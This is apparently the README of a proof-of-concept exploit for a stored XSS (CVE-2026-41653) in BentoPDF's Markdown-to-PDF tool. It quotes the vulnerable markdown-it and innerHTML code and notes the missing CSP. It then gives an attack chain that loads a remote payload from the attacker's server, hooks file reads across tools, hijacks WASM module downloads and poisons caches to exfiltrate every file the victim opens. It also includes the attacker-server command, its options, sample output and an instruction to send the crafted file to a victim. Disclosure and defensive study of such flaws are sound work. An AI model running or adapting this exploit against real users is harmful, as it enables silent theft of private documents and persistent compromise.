
CVE-2026-41653 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, BentoPDF में एक संग्रहीत XSS जो मूक फ़ाइल बहिर्वाह और WASM सप्लाई-चेन अपहरण को सक्षम बनाता है।
खोज एवं रिपोर्टकर्ता: Astaruf
पूर्ण विवरण: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
अपस्ट्रीम सलाह: alam00000/bentopdf GHSA सलाह
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF एक स्व-होस्टेड, ब्राउज़र-साइड PDF टूलबॉक्स है (कंप्रेस, मर्ज, स्प्लिट, रोटेट, कन्वर्ट, Markdown-to-PDF, आदि)।
Markdown-to-PDF टूल उपयोगकर्ता-आपूर्ति किए गए Markdown को html: true के साथ markdown-it से गुज़ारता है और रेंडर किए गए आउटपुट को बिना किसी सैनिटाइज़ेशन के सीधे innerHTML के माध्यम से DOM में इंजेक्ट करता है। एक हमलावर जो एक क्राफ्टेड .md फ़ाइल वितरित करता है, BentoPDF ओरिजिन में मनमाना JavaScript निष्पादन प्राप्त करता है।
क्योंकि BentoPDF एक पूर्णतः क्लाइंट-साइड एप्लिकेशन है, हर टूल (Compress PDF, Merge PDF, Split PDF, आदि) फ़ाइलों को सीधे पीड़ित के ब्राउज़र में लोड और प्रोसेस करता है। इसलिए एक एकल XSS सत्र के दौरान पीड़ित द्वारा किसी भी टूल में खोले गए हर दस्तावेज़ को चुपचाप बहिर्गमित करने के लिए पर्याप्त है।
Attacker sends report.md (containing )
-> Victim opens it in Markdown-to-PDF
-> markdown-it renders raw HTML (html: true)
-> preview.innerHTML = html (no DOMPurify)
-> poc_payload.js loaded from attacker server (no CSP)
-> FileReader + <input type=file> hooked app-wide
-> hidden popup re-injects hooks on every tool navigation
-> every file the victim opens is silently exfiltrated
localStorage['bentopdf:wasm-providers'] को अधिलेखित करता है, PyMuPDF, Ghostscript, और cpdf WASM मॉड्यूल डाउनलोड को हमलावर-नियंत्रित होस्ट पर पुनर्निर्देशित करता है।window.opener को पोल करता है और हर बार जब पीड़ित किसी भिन्न टूल पर नेविगेट करता है तो फ़ाइल हुक को पुनः इंजेक्ट करता है, पूरे सत्र में पहुंच बनाए रखता है।bentopdf-* कैश को विषाक्त करता है, वर्तमान सत्र से परे ब्राउज़र को दी जाने वाली हर /assets/*.js फ़ाइल में एक बहिर्गमन हुक जोड़ता है।markdown-it में रॉ HTML पास-थ्रू (CWE-79)src/js/utils/markdown-editor.ts (पंक्तियाँ 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // raw HTML tags pass through the markdown parser
breaks: false,
linkify: true,
typographer: true,
};
``, <svg>, <details> जैसे टैग और कोई भी इवेंट हैंडलर विशेषताएँ (onerror, onload, ontoggle) DOM में यथावत अग्रेषित की जाती हैं।
innerHTML इंजेक्शन (CWE-116)src/js/utils/markdown-editor.ts (पंक्तियाँ 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // attacker-controlled HTML injected into DOM
this.renderMermaidDiagrams();
}
markdown-it और innerHTML के बीच कोई सैनिटाइज़ेशन लाइब्रेरी लागू नहीं की गई है। ब्राउज़र इंजेक्टेड स्ट्रिंग को पार्स करता है, इनलाइन इवेंट हैंडलर का सामना करता है, और इसे तुरंत निष्पादित करता है।
nginx.conf बिना किसी Content-Security-Policy हेडर के आता है। इंजेक्टेड JavaScript स्वतंत्र रूप से बाहरी स्क्रिप्ट लोड कर सकता है, किसी भी होस्ट पर fetch() अनुरोध जारी कर सकता है, और पॉपअप विंडो खोल सकता है। एक प्रतिबंधात्मक CSP सिंक बरकरार रहने पर भी बाहरी-स्क्रिप्ट लोडिंग चरण को रोक सकता था।
# Start the attacker server for exfiltration
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py will:
# - generate poc_report.md payload in the current directory
# - start listening for victim's callbacks and exfiltrated files
पीड़ित को poc_report.md भेजें और उन्हें इसे BentoPDF → Markdown-to-PDF में खोलने के लिए कहें। पेलोड उसी क्षण सक्रिय हो जाता है जब पूर्वावलोकन रेंडर होता है, और पीड़ित द्वारा भविष्य में अपलोड की जाने वाली सभी फ़ाइलें हमलावर के सर्वर पर बहिर्गमित हो जाती हैं।
| विकल्प | डिफ़ॉल्ट | विवरण |
|---|---|---|
--lhost | आवश्यक | पीड़ित के ब्राउज़र द्वारा पहुंच योग्य IP |
--lport | 9999 | सुनने का पोर्ट |
--loot-dir | ./loot/ | वह निर्देशिका जहाँ बहिर्गमित फ़ाइलें सहेजी जाती हैं |
--log-file | कोई नहीं | सभी घटनाओं को एक फ़ाइल में जोड़ें (ANSI कोड हटाए गए) |
--no-color | बंद | टर्मिनल आउटपुट में ANSI रंग अक्षम करें |
1. हमलावर सर्वर --lhost और --lport के साथ प्रारंभ किया गया। दुर्भावनापूर्ण poc_report.md स्वचालित रूप से उत्पन्न होता है।
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC by Astaruf (https://nstsec.com)
========================================================================
Exfiltration server: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Loot dir: /home/kali/loot
========================================================================
Malicious .md file ready: /home/kali/poc_report.md
Send it to the victim and ask them to open it in Markdown-to-PDF tool.
The payload fires as soon as the preview renders.
========================================================================
Waiting for victims...
2. पीड़ित BentoPDF में Markdown-to-PDF टूल खोलता है।

3. पीड़ित poc_report.md लोड करता है। पूर्वावलोकन रेंडर होता है, `` लोड होने में विफल रहता है, onerror सक्रिय होता है। poc_payload.js को ब्लॉक करने के लिए कोई CSP न होने के कारण हमलावर सर्वर से लाया जाता है।

4. पेलोड अपने चार चरण चलाता है: localStorage के माध्यम से WASM प्रदाता अपहरण, पॉपअप मॉनिटर स्पॉन, वर्तमान पृष्ठ पर FileReader और फ़ाइल-इनपुट हुक स्थापित।

5. पीड़ित Compress PDF पर नेविगेट करता है। पॉपअप नेविगेशन का पता लगाता है और नए पृष्ठ में हुक को पुनः इंजेक्ट करता है।